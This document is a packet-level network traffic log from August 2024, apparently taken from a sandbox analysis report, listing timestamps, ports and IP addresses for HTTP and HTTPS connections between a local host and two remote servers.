Aug 30, 2024 06:17:04.302010059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302021027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302031994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302031994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302042007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302053928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302056074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302072048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302084923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302263975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302279949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302289963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302300930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302309990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302311897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302320004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302324057 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302330971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302340984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302354097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302361965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302371979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302371979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302381992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302392960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302402973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302402973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302413940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302416086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302426100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302438021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302467108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302598000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302608967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302618980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302628994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302638054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302644968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302649021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302659035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302661896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302669048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302685976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302685976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302710056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302716017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302725077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302750111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302757978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302804947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302814960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302819967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302825928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302843094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302854061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302864075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302865028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.302889109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.302910089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314156055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314167976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314177990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314223051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314229965 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314234018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314245939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314258099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314258099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314289093 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314310074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314461946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314472914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314503908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314516068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314517021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314543009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314567089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314605951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314616919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314626932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314640999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314650059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314677954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314801931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314811945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314855099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314881086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314892054 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314903021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314912081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.314924002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.314948082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.316903114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.316915035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.316926956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.316955090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.316968918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.316984892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317001104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317011118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317023039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317034006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317037106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317058086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317078114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317172050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317183018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317193985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317205906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317207098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317217112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317226887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317235947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317239046 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317264080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317276001 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317339897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317352057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317362070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317378998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317382097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317389965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317392111 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317400932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317413092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317421913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317446947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317451954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317459106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317483902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317512035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317586899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317596912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317605972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317616940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317627907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317637920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317647934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317648888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317662001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317678928 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317692995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317702055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317713976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317744970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317755938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317759037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317770958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317790031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317814112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317853928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317863941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317873955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317887068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317887068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317897081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317909002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317922115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317951918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.317976952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.317989111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318021059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318044901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318118095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318130016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318140030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318150997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318162918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318176031 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318208933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318315029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318325996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318341017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318351984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318363905 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318367004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318376064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318387032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318401098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318407059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318437099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318587065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318598032 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318615913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318628073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318639994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318651915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318664074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318679094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318700075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318789005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318802118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318813086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318825006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318835974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318844080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318857908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318866014 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318875074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318886042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318891048 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318897009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318907976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318908930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318929911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318938971 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318947077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318958044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318964958 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318969965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318980932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.318989038 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.318990946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.319005013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.319014072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.319015026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.319025040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.319044113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.319047928 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.319053888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.319061041 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.319063902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.319076061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.319092035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.319120884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.349518061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.349529028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.349536896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.349550009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.349560022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.349569082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.349577904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.349587917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.349601030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.349649906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.354665995 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.354712009 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.354722977 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.354733944 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.354748011 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.354768991 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.354782104 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.354788065 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.354809046 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.354836941 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.355041981 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.355092049 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.355097055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.355128050 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.355139017 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.355144024 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.355179071 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.355185032 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.355221987 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.355969906 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.356018066 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.356023073 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.356029034 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.356053114 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.356057882 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.356089115 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.356096029 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.356101036 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.356129885 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.356147051 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.356936932 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.356985092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.356988907 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.356995106 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.357029915 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.357034922 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.357132912 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.357137918 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.357172966 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.357795954 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.357837915 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.357866049 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.357908964 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.363235950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.363255978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.363264084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.363297939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.363297939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.363334894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.363346100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.363353968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.363368034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.363378048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.363437891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.363437891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.393981934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.393992901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394002914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394064903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394064903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394089937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394104004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394114017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394124031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394155979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394165993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394301891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394310951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394319057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394326925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394332886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394340992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394345999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394356012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394362926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394366026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394376040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394376993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394403934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394437075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394437075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394447088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394454956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394464970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394481897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394504070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394651890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394660950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394670010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394680023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394692898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394701958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394706011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394706011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394711018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394720078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394727945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394737959 CEST	80	49733	147.45.44.104	192.168.2.4
